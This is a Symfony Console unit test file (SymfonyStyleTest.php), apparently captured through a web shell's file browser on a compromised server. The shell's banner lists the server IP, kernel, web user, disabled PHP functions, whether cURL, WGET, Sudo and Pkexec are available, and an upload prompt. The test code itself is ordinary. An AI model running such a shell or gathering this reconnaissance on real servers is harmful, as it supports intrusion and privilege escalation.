| Server IP : 54.233.248.239 / Your IP : 172.28.20.13 Web Server : Apache System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/vinumday2_0/vendor/symfony/console/Tests/Style/ |
Upload File : |
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Symfony\Component\Console\Tests\Style;
use PHPUnit\Framework\TestCase;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Tester\CommandTester;
use Symfony\Component\Console\Formatter\OutputFormatter;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Output\ConsoleOutputInterface;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
class SymfonyStyleTest extends TestCase
{
/** @var Command */
protected $command;
/** @var CommandTester */
protected $tester;
protected function setUp()
{
putenv('COLUMNS=121');
$this->command = new Command('sfstyle');
$this->tester = new CommandTester($this->command);
}
protected function tearDown()
{
putenv('COLUMNS');
$this->command = null;
$this->tester = null;
}
/**
* @dataProvider inputCommandToOutputFilesProvider
*/
public function testOutputs($inputCommandFilepath, $outputFilepath)
{
$code = require $inputCommandFilepath;
$this->command->setCode($code);
$this->tester->execute(array(), array('interactive' => false, 'decorated' => false));
$this->assertStringEqualsFile($outputFilepath, $this->tester->getDisplay(true));
}
/**
* @dataProvider inputInteractiveCommandToOutputFilesProvider
*/
public function testInteractiveOutputs($inputCommandFilepath, $outputFilepath)
{
$code = require $inputCommandFilepath;
$this->command->setCode($code);
$this->tester->execute(array(), array('interactive' => true, 'decorated' => false));
$this->assertStringEqualsFile($outputFilepath, $this->tester->getDisplay(true));
}
public function inputInteractiveCommandToOutputFilesProvider()
{
$baseDir = __DIR__.'/../Fixtures/Style/SymfonyStyle';
return array_map(null, glob($baseDir.'/command/interactive_command_*.php'), glob($baseDir.'/output/interactive_output_*.txt'));
}
public function inputCommandToOutputFilesProvider()
{
$baseDir = __DIR__.'/../Fixtures/Style/SymfonyStyle';
return array_map(null, glob($baseDir.'/command/command_*.php'), glob($baseDir.'/output/output_*.txt'));
}
public function testGetErrorStyle()
{
$input = $this->getMockBuilder(InputInterface::class)->getMock();
$errorOutput = $this->getMockBuilder(OutputInterface::class)->getMock();
$errorOutput
->method('getFormatter')
->willReturn(new OutputFormatter());
$errorOutput
->expects($this->once())
->method('write');
$output = $this->getMockBuilder(ConsoleOutputInterface::class)->getMock();
$output
->method('getFormatter')
->willReturn(new OutputFormatter());
$output
->expects($this->once())
->method('getErrorOutput')
->willReturn($errorOutput);
$io = new SymfonyStyle($input, $output);
$io->getErrorStyle()->write('');
}
public function testGetErrorStyleUsesTheCurrentOutputIfNoErrorOutputIsAvailable()
{
$output = $this->getMockBuilder(OutputInterface::class)->getMock();
$output
->method('getFormatter')
->willReturn(new OutputFormatter());
$style = new SymfonyStyle($this->getMockBuilder(InputInterface::class)->getMock(), $output);
$this->assertInstanceOf(SymfonyStyle::class, $style->getErrorStyle());
}
}